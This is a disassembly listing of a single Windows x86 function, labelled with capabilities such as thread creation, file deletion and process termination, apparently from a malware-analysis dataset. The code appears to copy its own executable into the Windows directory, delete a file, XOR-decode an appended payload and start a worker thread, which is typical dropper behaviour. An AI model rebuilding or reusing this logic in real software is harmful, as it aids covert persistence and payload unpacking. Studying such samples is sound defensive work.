Function at 0x401000
Capabilities:
Create thread
Delete file
Get common file path
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x404661
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x630
push ebx
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x13d]
mov byte [esp + 0x13c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x13c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea ecx, [esp + 0x14]
call fcn.00401ea0
lea ecx, [esp + 0x13c]
push 0
push ecx
lea ecx, [esp + 0x1c]
mov dword [esp + 0x650], 0
call fcn.00401ec0
test eax, eax
jne 0x40109c
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea edx, [esp + 0x13c]
push 0
push edx
lea ecx, [esp + 0x1c]
call fcn.00401ec0
test eax, eax
je 0x40107a
lea ecx, [esp + 0x14]
call fcn.00402080
mov ebx, dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
push 8
mov dword [0x4086e4], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov ecx, dword [0x4086e4]
mov dword [0x4086e0], eax
push ecx
push eax
lea ecx, [esp + 0x1c]
call fcn.00402000
lea ecx, [esp + 0x14]
call fcn.00402060
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x39]
mov byte [esp + 0x38], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x38]
push 0x104
push edx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea eax, [esp + 0x38]
push 0x40615c
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea ecx, [esp + 0x38]
lea edx, [esp + 0x13c]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
test eax, eax
je 0x4011c2
lea ecx, [esp + 0x10]
call fcn.00401ea0
lea eax, [esp + 0x38]
push 0x1001
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x650], 1
call fcn.00401ec0
test eax, eax
je 0x4011b1
mov ecx, dword [0x4086e4]
mov edx, dword [0x4086e0]
push ecx
push edx
lea ecx, [esp + 0x18]
call fcn.00402030
lea eax, [esp + 0x13c]
push 0x104
push eax
lea ecx, [esp + 0x18]
call fcn.00402030
lea ecx, [esp + 0x10]
call fcn.00402050
lea ecx, [esp + 0x10]
call fcn.00402060
lea ecx, [esp + 0x38]
push ecx
call fcn.00401ac0
lea edx, [esp + 0x3c]
push edx
call fcn.00401e50
add esp, 8
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
lea ecx, [esp + 0x10]
mov byte [esp + 0x648], 0
call fcn.00401eb0
push 0x406150
call fcn.004014a0
mov eax, dword [0x4086e4]
mov ecx, dword [0x4086e0]
lea esi, [ecx + eax - 0x104]
push esi
call fcn.00401cd0
add esp, 8
test al, al
je 0x4011fd
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
push esi
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov eax, dword [0x4086e0]
mov edx, dword [0x4086e4]
mov ecx, dword [eax + 0x1c]
add ecx, eax
sub eax, ecx
mov dword [0x4086e8], ecx
mov ebp, ecx
lea esi, [ecx + 0x80]
lea edi, [eax + edx - 0x80]
xor ecx, ecx
xor eax, eax
test edi, edi
jle 0x40123e
mov dl, byte [eax + ebp]
xor byte [ecx + esi], dl
inc eax
inc ecx
cmp eax, 0x80
jl 0x40123a
xor eax, eax
cmp ecx, edi
jl 0x401229
call fcn.00401560
mov eax, dword [0x4086e8]
mov dword [esp + 0x28], 0x4060c8
add eax, 0x80
mov dword [esp + 0x2c], 0x406058
mov dword [0x4086ec], eax
mov edi, dword [sym.imp.KERNEL32.DLL_HeapFree]
mov byte [esp + 0x648], 2
mov ecx, dword [0x4086ec]
push ecx
lea ecx, [esp + 0x2c]
call fcn.00401810
mov esi, eax
xor ebp, ebp
cmp esi, ebp
je 0x4012b8
mov ecx, dword [esi + 4]
mov eax, dword [esi + 8]
cmp ecx, 0x54
jbe 0x40129c
cmp dword [eax + 0x40], 0x1e240
je 0x4012c5
cmp eax, ebp
je 0x4012b0
push eax
push 8
call ebx
push eax
call edi
mov dword [esi + 8], ebp
mov dword [esi + 4], ebp
mov dword [esi], ebp
push esi
push 8
call ebx
push eax
call edi
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x401270
mov eax, dword [esi + 4]
mov edi, dword [esi + 8]
push eax
push edi
call fcn.004014e0
add esp, 8
push ebp
push ebp
push ebp
push 0x401980
push ebp
push ebp
call dword [sym.imp.KERNEL32.DLL_CreateThread]
lea edx, [esp + 0x18]
mov dword [esp + 0x24], eax
push edx
call fcn.00401d10
push ebp
push 0x201
push edi
call fcn.00401520
mov ecx, dword [esp + 0x2d]
mov edx, dword [esp + 0x2c]
and ecx, 0xff
and edx, 0xff
push ecx
mov ecx, dword [esp + 0x2f]
push edx
mov edx, dword [esp + 0x32]
and ecx, 0xff
and edx, 0xff
push ecx
mov ecx, dword [esp + 0x35]
push edx
mov edx, dword [esp + 0x38]
and ecx, 0xff
and edx, 0xff
push ecx
push edx
push eax
lea eax, [esp + 0x26c]
push 0x406030
push eax
call dword [sym.imp.USER32.DLL_wsprintfA]
lea ecx, [esp + 0x274]
push ecx
call fcn.00401d80
push ebp
push 0x202
push edi
call fcn.00401520
add esp, 0x44
mov ebx, eax
call fcn.00401e10
test al, al
jne 0x40145c
push 0
push 0x203
push edi
call fcn.00401520
push eax
call fcn.00401c10
lea eax, [eax + eax*2]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea ebp, [eax + eax*4]
mov eax, dword [esi + 4]
push eax
push edi
shl ebp, 5
call fcn.004014e0
add esp, 0x18
push ebp
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov esi, dword [esi + 4]
push esi
push edi
call fcn.004014e0
push ebx
call fcn.00401c10
add esp, 0xc
mov esi, eax
call fcn.00401bc0
cdq
mov ecx, 0x64
push 0
idiv ecx
cmp edx, esi
jge 0x4013e8
push 0x204
jmp 0x4013ed
push 0x205
push edi
call fcn.00401520
mov edx, dword [esp + 0x29]
mov ecx, dword [esp + 0x28]
add esp, 0xc
and edx, 0xff
and ecx, 0xff
push edx
mov edx, dword [esp + 0x1f]
push ecx
mov ecx, dword [esp + 0x22]
and edx, 0xff
and ecx, 0xff
push edx
mov edx, dword [esp + 0x25]
push ecx
mov ecx, dword [esp + 0x28]
and edx, 0xff
and ecx, 0xff
push edx
push ecx
push eax
lea edx, [esp + 0x25c]
push 0x406030
push edx
call dword [sym.imp.USER32.DLL_wsprintfA]
lea eax, [esp + 0x264]
push eax
call fcn.00401d80
add esp, 0x28
mov ecx, dword [esp + 0x24]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
lea ecx, [esp + 0x14]
mov dword [esp + 0x648], 0xffffffff
call fcn.00401eb0
mov ecx, dword [esp + 0x640]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov dword fs:[0], ecx
add esp, 0x63c
ret